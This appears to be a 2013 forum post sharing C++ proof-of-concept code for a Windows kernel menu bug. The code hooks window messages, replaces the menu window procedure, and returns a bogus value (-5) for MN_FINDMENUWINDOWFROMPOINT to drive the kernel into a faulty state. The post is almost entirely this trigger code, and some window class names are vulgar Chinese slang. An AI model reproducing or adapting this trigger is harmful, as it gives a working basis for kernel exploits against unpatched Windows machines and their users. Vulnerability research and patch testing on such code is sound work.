Код:
// tr.cpp : 定义应用程序的入口点。custom application entry point.
#include "stdafx.h"
#include "tr.h"
#define MAX_LOADSTRING 100
#pragma comment(lib,"user32.lib")
// 全局变量: Global variables:
HINSTANCE hInst; // 当前实例 current instance
TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本 title bar text
TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名 main window class name
CHAR szWindowClass1[MAX_LOADSTRING]="woqunimalegebi";;
HWND global_hWnd;
// 此代码模块中包含的函数的前向声明: This code module contains forward function declaration:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
void xxxMenu(int idhook);
DWORD WINAPI startaddress(
_In_ LPVOID lpParameter
)
{
xxxMenu(2);
return 0;
}
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
HANDLE hthread = CreateThread(0,0,startaddress,0,0,0);
if (WaitForSingleObject(hthread,0x493e0))
{
TerminateThread(hthread,0);
return 0;
}
return 0;
}
#define MN_ENDMENU 0x1F3
HHOOK hhk;
unsigned int g_flag=0;
unsigned int g_flag1= 0 ;
unsigned int g_flag2=0;
#define MN_FINDMENUWINDOWFROMPOINT 0x1eb
WNDPROC lpPrevWndFunc;
LRESULT CALLBACK fn(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (wParam==4)
{
if (*(DWORD *)lParam == GetCurrentThreadId())
{
if (*(DWORD *)(lParam+12)==0x900516)
{
g_flag1 = 1;
}
}
}
return CallNextHookEx(0,code,wParam,lParam);
}
LRESULT newWinlng(HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam)
{
if ( uMsg != MN_FINDMENUWINDOWFROMPOINT )
{
return CallWindowProcA(lpPrevWndFunc, hwnd, uMsg, wParam, lParam);
}
SetWindowsHookExA(9, fn, 0, GetCurrentThreadId());
SendMessageA(hwnd, 0, 0x900516, 0);
UnhookWindowsHook(9, fn);
if ( g_flag1 )
{
EndMenu();
return CallWindowProcA(lpPrevWndFunc, hwnd, MN_FINDMENUWINDOWFROMPOINT, wParam, lParam);
}
EndMenu();
return -5;
}
LRESULT CALLBACK lpfn(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (*(DWORD*)(lParam+8)==MN_FINDMENUWINDOWFROMPOINT)
{
if (!g_flag)
{
g_flag = 1;
if (UnhookWindowsHook(4,lpfn))
{
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam+12),-4,(LONG)newWinlng);
}
}
}
return CallNextHookEx(0,code,wParam,lParam);
}
LRESULT CALLBACK WndProcTest_fuzz(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
int idhoo;
switch (message)
{
case WM_ENTERIDLE:
if (g_flag2!=1)
{
g_flag2=1;
PostMessageA(hWnd,WM_KEYDOWN,0X28,0);
PostMessageA(hWnd,WM_KEYDOWN,0x27,0);
PostMessageA(hWnd,WM_LBUTTONDOWN,0,0);
}
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
HMENU popMenu()
{
HMENU hmenu = CreatePopupMenu();
CHAR name[4] = "AAA";
MENUITEMINFOA item ;
HMENU hmenu2;
memset(&item,0x00,sizeof(MENUITEMINFOA));
item.cbSize = sizeof(item);
item.fMask = MIIM_STRING;
//item.fType = MFT_STRING ;
//item.dwTypeData = name;
//item.cch = 4 ;
if (InsertMenuItemA(hmenu , 0 , 1 , &item ))
{
hmenu2 = CreatePopupMenu();
CHAR name2[4] = "BBB";
MENUITEMINFOA item2 ;
memset(&item2,0x00,sizeof(MENUITEMINFOA));
item2.cbSize = sizeof(item);
item2.fMask = 0x44;
item2.hSubMenu = hmenu;
//item2.fType = MFT_STRING ;
item2.dwTypeData = name;
item2.cch = 1 ;
if (!hmenu2 || !InsertMenuItemA(hmenu2,0,1,&item2))
{
DestroyMenu(hmenu);
if (hmenu2)
{
DestroyMenu(hmenu2);
}
}
}
else
{
DestroyMenu(hmenu);
}
return hmenu2;
}
void xxxMenu(int idhook)
{
//registeclass
WNDCLASSA wcex;
memset(&wcex,0x00,sizeof(wcex));
wcex.lpfnWndProc = WndProcTest_fuzz;
wcex.lpszClassName = "wocaonimalegeb";
RegisterClassA(&wcex);
HWND hwin = CreateWindowExA(0,"wocaonimalegeb",0, 0,
-1, -1, 0, 0, NULL, NULL, 0, NULL);
HMENU hmenu = popMenu();
if (hmenu)
{
if (SetWindowsHookExA(WH_CALLWNDPROC,lpfn,0,GetCurrentThreadId()))
{
if (TrackPopupMenu(hmenu , 0 , -10000 , -10000 ,0,hwin , NULL ))
{
PostMessageA(hwin,0,0,0);
}
}
}
DestroyWindow(hwin);
if (hmenu)
{
DestroyMenu(hmenu);
}
UnhookWindowsHook(WH_CALLWNDPROC,lpfn);
}
08.09.2013, 11:21
Ядро Windows / Windows kernel bugs
, линк на малоинтересный баг:
Линейный вид
